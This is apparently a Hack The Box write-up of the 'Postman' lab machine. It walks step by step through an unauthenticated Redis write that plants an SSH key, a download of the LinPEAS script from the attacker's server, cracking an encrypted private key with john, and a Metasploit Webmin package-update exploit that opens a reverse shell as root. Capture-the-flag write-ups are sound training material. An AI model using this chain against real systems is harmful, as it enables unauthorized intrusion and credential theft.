nihilist - Postmnan Writeup

Part 2 : Getting User Access

Our nmap scan picked up a Redis 4.0.x instance running on port 6379


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
→ searchsploit redis 4
------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                            |  Path
------------------------------------------------------------------------------------------ ---------------------------------
Microsoft Windows 10 - Diagnostics Hub Standard Collector Service Privilege Escalation    | windows/local/45244.txt
Redis - Replication Code Execution (Metasploit)                                           | linux/remote/48272.rb
Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)                             | linux/remote/47195.rb
Redis 5.0 - Denial of Service                                                             | linux/dos/44908.txt
Redis-cli < 5.0 - Buffer Overflow (PoC)                                                   | linux/local/44904.py
------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

As you can see, there are a few exploits available for redis 4.0.x and one of them is an unauthenticated command execxution and filewrites. So let's test that with redis-cli:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
→ sudo apt install redis -y

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
→ redis-cli -h 10.10.10.160
10.10.10.160:6379> CONFIG GET *
  1) "dbfilename"
  2) "dump.rdb"
  3) "requirepass"
  4) ""
  5) "masterauth"
  6) ""
  7) "cluster-announce-ip"
  8) ""
  9) "unixsocket"
 10) ""
 11) "logfile"
 12) "/var/log/redis/redis-server.log"
 13) "pidfile"
 14) "/var/run/redis/redis-server.pid"
[...]

Here we see that the default folder for redis seems to be /var/lib/redis, so we're going to check if the redis user has SSH authentication configured by checking for a .ssh folder:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ redis-cli -h 10.10.10.160

10.10.10.160:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"

10.10.10.160:6379> CONFIG SET dir /var/lib/redis/idontexist/
(error) ERR Changing directory: No such file or directory

10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh/
OK

So here we see that a .ssh folder does exist in redis' home directory, let's write our public SSH key to it:


[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/nothing/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/nothing/.ssh/id_ed25519
Your public key has been saved in /home/nothing/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:WUW671jwTAkg4RGKPvDZ4twbg6pWVynYTDS/HaTqbE0 nothing@nowhere
The key's randomart image is:
+--[ED25519 256]--+
|    .o=o.. .o    |
|   . +ooo. o     |
|. . * .o..+      |
| + + +.ooo.o .   |
|  * ..oES.o o    |
| o *o.o    *     |
|  = =+ .    =    |
| o  .+     +     |
|=   .     . .    |
+----[SHA256]-----+

[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ cat ~/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere

[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ (echo -e "\n\n";cat ~/.ssh/id_ed25519.pub;echo -e "\n\n") > pubkey.txt

[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ cat pubkey.txt



ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere




[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ cat pubkey.txt| redis-cli -h 10.10.10.160 -x set ssh_key
OK

Here you can see we made sure that the public key had newline characters on either side, that is because if we didn't, redis would add our pubkey onto another, without jumping to a newline, obviously it wouldn't work, then we proceed:


[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ redis-cli -h 10.10.10.160

10.10.10.160:6379> get ssh_key
"\n\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere\n\n\n\n"

10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh
OK

10.10.10.160:6379> CONFIG SET dbfilename authorized_keys
OK

10.10.10.160:6379> save
OK

10.10.10.160:6379> exit

Once that's done, simply ssh as the redis user:


[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ ssh redis@10.10.10.160
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1

redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

redis@Postman:~$

Now that we have a ssh access to the box as the redis user, we're going to enumerate the box, to do so we can use the old fashioned unix-privesc-check or we can use a newer solution called 'LinPEAS', i'm going to use it for the other boxes aswell, so i'll clone the repository in my ~/Tools directory:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/Tools]
→ git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
Cloning into 'privilege-escalation-awesome-scripts-suite'...
remote: Enumerating objects: 5452, done.
remote: Counting objects: 100% (239/239), done.
remote: Compressing objects: 100% (149/149), done.
remote: Total 5452 (delta 139), reused 132 (delta 85), pack-reused 5213
Receiving objects: 100% (5452/5452), 18.72 MiB | 3.94 MiB/s, done.
Resolving deltas: 100% (3250/3250), done.

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/Tools]
→ cd ~/HTB/Postman

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ sudo updatedb ; locate linpeas.sh
[sudo] password for nothing:
/home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ cp $(locate linpeas.sh) .

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ ls -lash linpeas.sh
336K -rwxr-xr-x 1 nothing nothing 334K May 25 08:52 linpeas.sh

Now let's transfer the file onto the box:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

Then download the script onto the box, you can either put it in /tmp or /dev/shm:


redis@Postman:~$ wget http://10.10.14.13:9090/linpeas.sh -O /dev/shm/peas.sh
--2021-05-25 08:03:20--  http://10.10.14.13:9090/linpeas.sh
Connecting to 10.10.14.13:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 341863 (334K) [text/x-sh]
Saving to: ‘/dev/shm/peas.sh’

/dev/shm/peas.sh                                              100%[=================================================================================================================================================>] 333.85K   700KB/s    in 0.5s

2021-05-25 08:03:20 (700 KB/s) - ‘/dev/shm/peas.sh’ saved [341863/341863]

redis@Postman:~$ chmod +x /dev/shm/peas.sh
redis@Postman:~$ /dev/shm/peas.sh

linpeas.sh's output is quite massive so here's the important parts, if you're using tmux you can search for the output itself like this CTRL+B PgUp, CTRL+S 'ssh files':

So Peas found an id_rsa.bak file in the /opt folder:


redis@Postman:~$ cat /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----

As the title suggests, this is an encrypted private key file, so let's crack it with rockyou.txt using john:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists]
→ sudo gunzip rockyou.txt.gz
[sudo] password for nothing:

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists]
→ ls -lash rockyou.txt
134M -rw-r--r-- 1 root root 134M Jul 17  2019 rockyou.txt

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists]
→ cd ~/HTB/Postman

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ vim pkey

Then we convert the private key to a hash with ssh2john.py and crack it with john:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ locate ssh2john.py
/usr/share/john/ssh2john.py

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ /usr/share/john/ssh2john.py pkey > hash

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt
Created directory: /home/nothing/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Node numbers 1-4 of 4 (fork)
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (pkey)
2 1g 0:00:00:05 DONE (2021-05-25 09:11) 0.1848g/s 662739p/s 662739c/s 662739C/sabygurl69
3 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 661514p/s 661514c/s 661514C/sa6_123
4 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 660302p/s 660302c/s 660302C/s *7¡Vamos!
1 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 660299p/s 660299c/s 660299C/sie168
Waiting for 3 children to terminate
Session completed

And we found the password computer2008. but the question is for which user is this for ? We can look at it from either /home or /etc/passwd:


redis@Postman:~$ ls -lash /home
total 12K
4.0K drwxr-xr-x  3 root root 4.0K Sep 11  2019 .
4.0K drwxr-xr-x 22 root root 4.0K Sep 30  2020 ..
4.0K drwxr-xr-x  6 Matt Matt 4.0K Sep 11  2019 Matt

redis@Postman:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
redis:x:107:114::/var/lib/redis:/bin/bash

Here we see that the Matt user has a home directory, and a valid bash shell. So let's get to the user using sudo:


redis@Postman:~$ su Matt
Password:
Matt@Postman:/var/lib/redis$ id
uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)
Matt@Postman:/var/lib/redis$ cd ~
Matt@Postman:~$ cat user.txt
23XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to get the Matt user flag!

Part 3 : Getting Root Access

Now we need to find a way to get root on this box, first instinct tells us to check sudo -l:


Matt@Postman:~$ sudo -l
[sudo] password for Matt:
Sorry, user Matt may not run sudo on Postman.

But that doesn't help us. Nor does anything else on this user, this is a bit of a rabbithole. Let's move onto the next thing our nmap scan picked up, the webmin service on port 10000


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ curl http://10.10.10.160:10000/
Error - Document follows
This web server is running in SSL mode. Try the URL https://Postman:10000/ instead.

So let's check it in https instead, we login as the Matt user with his password computer2008:


Matt@Postman:~$ cd /etc/webmin/

Matt@Postman:/etc/webmin$ cat version
1.910

So here's our hint, this is an outdated webmin version, so let's check what exploits we can use on it:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ searchsploit webmin 1.9
------------------------------------------------------ ---------------------------------
 Exploit Title                                        |  Path
------------------------------------------------------ ---------------------------------
Webmin 1.900 - Remote Command Execution (Metasploit)  | cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Command Execu | linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution                  | linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution  | linux/remote/47230.rb
Webmin 1.962 - 'Package Updates' Escape Bypass RCE (M | linux/webapps/49318.rb
Webmin < 1.290 / Usermin <1.220 - Arbitrary File Dis | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Dis | multiple/remote/2017.pl
Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Met | linux/webapps/47330.rb
------------------------------------------------------ ---------------------------------
Shellcodes: No Results

So basically we can pick one of these, or we can make use of this proof of concept here:

TLDR we can get a RCE using burpsuite because the package updater is vulnerable to command injections through the u POST parameter. If you click on System on the panel to the left, then click on Software Package Updates, you can turn on Burpsuite to intercept, and then just click Update Selected Packages: So let's use metasploit:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ msfconsole


  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


       =[ metasploit v6.0.44-dev                          ]
+ -- --=[ 2131 exploits - 1139 auxiliary - 363 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: You can use help to view all
available commands

msf6 > search webmin

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/unix/webapp/webmin_show_cgi_exec     2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   1  auxiliary/admin/webmin/file_disclosure       2006-06-30       normal     No     Webmin File Disclosure
   2  exploit/linux/http/webmin_packageup_rce      2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
   3  exploit/unix/webapp/webmin_upload_exec       2019-01-17       excellent  Yes    Webmin Upload Authenticated RCE
   4  auxiliary/admin/webmin/edit_html_fileaccess  2012-09-06       normal     No     Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
   5  exploit/linux/http/webmin_backdoor           2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor


Interact with a module by name or index. For example info 5, use 5 or use exploit/linux/http/webmin_backdoor

msf6 > use 2

We're going to use the RCE module:


msf6 > use 2
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(linux/http/webmin_packageup_rce) > show options

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME                    yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910

We need to set the LHOST, RHOST, SSL, USERNAME and PASSWORD options before running the exploit:


msf6 exploit(linux/http/webmin_packageup_rce) > set LHOST tun0
LHOST => 10.10.14.13
msf6 exploit(linux/http/webmin_packageup_rce) > set RHOST 10.10.10.160
RHOST => 10.10.10.160
msf6 exploit(linux/http/webmin_packageup_rce) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 exploit(linux/http/webmin_packageup_rce) > run

[-] Exploit failed: One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt
USERNAME => Matt
msf6 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008
PASSWORD => computer2008
msf6 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.14.13:4444
[+] Session cookie: 4cc0c13f51b9e777f7a9e0cdc9a93277
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.160:49564) at 2021-05-25 09:56:39 +0200

id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
3aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to get a root shell and print the root flag.

Postman Writeup

Introduction :

Part 1 : Initial Enumeration

Part 2 : Getting User Access

Part 3 : Getting Root Access

Error - Document follows

Conclusion

Nihilism

My Links

About nihilist